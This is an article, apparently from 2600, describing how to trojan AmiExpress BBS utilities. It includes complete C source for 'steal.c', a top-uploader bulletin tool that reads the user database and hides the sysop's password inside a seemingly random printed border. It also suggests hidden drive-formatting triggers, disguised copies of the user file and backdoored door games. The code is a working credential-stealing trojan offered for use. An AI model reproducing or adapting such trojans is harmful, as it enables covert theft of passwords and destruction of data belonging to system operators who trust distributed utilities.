Hacking AmiExpress

by Swinging Man

The recent article on security holes in WWIV BBSes got me to thinking.  Where WWIV is the board of choice among clone sysops, AmiExpress is the dominant software in the Amiga community, the pirate community anyway.

AmiExpress is a relatively simple piece of software, and that's good because it keeps things quick and easy.  No means are provided for the sysop to keep track of top uploaders or even last callers.  What is provided, is a batch file that is executed each time a user logs off.  In the batch file, one runs utilities to compile data into text files that are stored as bulletins.  That way the next user sees a bulletin containing the last few users that called, etc.  It's a hassle, but it works.

When I ran my own board, I wrote my own utilities to fill in these functions.  Then put them in an archive and sent them out into the ether.  It's good advertising.  Most sysops don't write their own (surprise!); they have enough trouble getting utilities written by other people to run.  This means it's really easy to take advantage of them.

Most utilities search through four files: BBS:USER.DATA, which holds all the records of users; BBS:NODEx/CallersLog (where "x" is the node number and is usually 0), which records all the important stuff a user does when he's online; BBS:UDLog, which is like CallersLog, but only records transfers; and BBS:conference/Dirx, which are the vanilla ASCII files containing the names and descriptions of all the "warez."

USER.DATA is the most interesting.  If one were to write a top uploader utility, as I have done in the past, one would need to open this file to sort all the users by bytes uploaded.  While you've got the file open, why not save the sysop's password for later?  That's what I've done in the example program called "steal.c".

It prints the best uploader with a seemingly random border around his name.  Here's what the output looks like:

UtwFqNyXoVAKBfsegnxRvDbPrmcdWl
##           PRESTO         ##
UpwFqayXosAKBssegwxRvobPrrcdWd

It looks random, but the difference between the top line and the bottom spells out "password."  Easy to see if you're looking for it, but if you're not paying attention it just looks like garbage.  Of course, you could think up a better method of encrypting the password than just replacing every fourth letter.

This one is neat because you can just log on and see the sysop's password, but it's not the only way to do it.  You could do anything to any user.  However, the more specific the program becomes, the less useful it will become.  It's not easy to get a sysop to change top uploader utilities.  It would have to be better than the one he has, or maybe a fake update.

I can think of endless fun to have with these utilities.  How about a bit of conditional code that formats all drives when a certain user logs on, such as "Kill Board."  Or maybe you just want to copy USER.DATA to a download path, renamed as "COOLWARE.DMS".

So what can you do if you're an AmiExpress sysop?  Don't use utilities written by anyone other than yourself.  There isn't any other way.  You can monitor the files opened when a utility is run, but an event-driven action won't be detected.  Or you could look at the whole file and look for any text the text strings passed to DOS are usually intact.  Of course, a crunching program like IMPLODER will get rid of this.  And an IMPLODED file can be encrypted with a password, so good luck finding something that way.  Then again, you could always just forget it.  It's only a BBS... you've got nothing to hide.  Right?

This idea isn't just about AmiExpress.  How many BBSes have doors, or online games?  How hard would it be to write a game like TradeWars that has an extra option that does any of the nasty things you've always wanted to do?

/**************************************************************************/
/** SysOp Password Stealer vl.0 by Swinging Man                          **/
/** Prints top uploader.....but also reveals SysOp's password            **/
/** in the boarder                                                       **/
/**************************************************************************/
#include <stdio.h>
#include <ctype.h>
#include <time.h>

struct userdata {               /* 232 bytes */

/* Since I hacked this out, there are still many */
/* unknown areas of the record             */

  char name[31];                /*user's name */
  char pass[9];                 /*user's password */
  char from[30];                /*user's FROM field */
  char fone[13];                /*phone number field */
  unsigned short number;        /*user number */
  unsigned short level;         /* level */
  unsigned short type;          /*type of ratio */
  unsigned short ratio;         /*ratio of DLs to one UL */
  unsigned short computer;      /*computer type */
  unsigned short posts;         /*number of posts */
  char unknown0[40];
  char base[10];                /*conference access */
  unsigned int unknown_num0;
  unsigned int unknown_num1;
  unsigned int unknown_num2;
  unsigned int used;            /*seconds used today */
  unsigned int time1;           /*time per day */
  unsigned int time2;           /*clone of above */
  unsigned int bytesdn;         /*bytes downloaded */
  unsigned int bytesup;         /*bytes uploaded */
  unsigned int bytelimit;       /*bytes avail per day */
  unsigned int unknown_num3;
  char unknown1[46];
};
FILE *fp;
struct list {
  char name[40];
  unsigned int bytes_uploaded;
  struct list *next;
};

char rnd()
{
  char c;
  c = (char) rand();
  while (!(isalpha(c)) || (c < 20))
    c = (char) rand();
  return (c);
}

main()
{

  int x, y;

  struct userdata user;
  struct list head;
  struct list *temp, *temp2;

  char password[9];

  char border[31];
  char middle[31] = "##                          ##";

  head.next = NULL;

  if ((fp = fopen("bbs:user.data", "r")) == NULL) {
    printf("Can't Open User File\n");
    return 1;
  }

/*get all users and put in list*/
  while (fread((void *) &user, sizeof(struct userdata), 1, fp) == 1) {
    if (user.number == 1)
      strcpy(password, user.pass);
    if ((user.level < 200) && (user.level > 0) && (user.bytesdn > 0)) {
      temp = (struct list *) malloc(sizeof(struct list));
      if (temp == NULL) {
        printf("Out of Memory!\n");
        exit(1);
      }
      strcpy(temp->name, user.name);
      temp->bytes_uploaded = user.bytesup;
      temp2 = &head;
      while ((temp2->next != NULL)
             && ((temp2->next->bytes_uploaded) > (temp->bytes_uploaded))) {
        temp2 = temp2->next;
      }
      temp->next = temp2->next;
      temp2->next = temp;
    }
  }
  fclose(fp);
  temp = head.next;
  srand((unsigned int) time(NULL));
  y = 0;
  for (x = 0; x < 30; x++)
    border[x] = rnd();
  border[30] = '\0';
  printf("%s\n", border);
  strncpy(&middle[15 - (strlen(temp->name) / 2)], temp->name,
          strlen(temp->name));
  printf("%s\n", middle);
  for (x = 1; x < 30; x += 4)
    border[x] = password[y++];
  printf("%s\n", border);
}

Code: steal.c

Return to $2600 Index